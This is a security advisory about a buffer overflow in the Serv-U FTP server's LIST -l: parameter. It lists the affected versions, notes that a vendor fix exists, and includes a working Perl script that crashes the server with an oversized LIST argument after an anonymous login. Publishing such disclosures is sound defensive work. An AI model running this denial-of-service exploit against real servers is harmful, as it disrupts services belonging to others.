Serv-U LIST -l Parameter Buffer Overflow

[Aviram Jenik <aviram () beyondsecurity com>]

 Serv-U LIST -l Parameter Buffer Overflow
------------------------------------------------------------------------


Article reference:
http://www.securiteam.com/windowsntfocus/5ZP0G2KCKA.html




SUMMARY

<http://www.serv-u.com/> Serv-U is a "powerful, easy-to-use, award-winning FTP 
server" created by Rob Beckers. 
A vulnerability in the product allows a remote user to cause the server to 
fail by sending a malformed LIST command to the server.

DETAILS

Vulnerable Systems:
* Serv-U older than 5.0.0.6

Immune Systems:
* Serv-U 5.0.0.6 and newer

A user issuing a long parameter (around 134 bytes) as a value for a LIST 
command (using the -l: parameter for that LIST command), can cause the server 
to try and read a value that is outside the memory location of the Serv-U's 
memory, this will cause an exception to be triggered (an unhandled 
exception), which in turn causes the program to crash.

Solution:
The vendor has released a new version, which fixes this problem.

Exploit:
#!/usr/bin/perl

use IO::Socket;

$host = "192.168.1.243";

$remote = IO::Socket::INET->new ( Proto => "tcp",
     PeerAddr => $host,
     PeerPort => "2116",
    );

unless ($remote) { die "cannot connect to ftp daemon on $host" }

print "connected\n";
while (<$remote>)
{
 print $_;
 if (/220 /)
 {
  last;
 }
}

$remote->autoflush(1);

my $ftp = "USER anonymous\r\n";

print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/331 /)
 {
  last;
 }
}

$ftp = join("", "PASS ", "a\@b.com", "\r\n");
print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/230 /)
 {
  last;
 }
}

my $ftp = join ("", "LIST -l:", "A"x(134), "\r\n");

print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/250 Done/)
 {
  last;
 }
}

close $remote;


ADDITIONAL INFORMATION

SecurITeam would like to thank  <mailto:storm () securiteam com> STORM for 
finding this vulnerability. 




Regards, 
Aviram Jenik
Beyond Security Ltd.

http://www.BeyondSecurity.com
http://www.SecuriTeam.com

The First Integrated Network and Web Application Vulnerability Scanner:
http://www.beyondsecurity.com/webscan-wp.pdf




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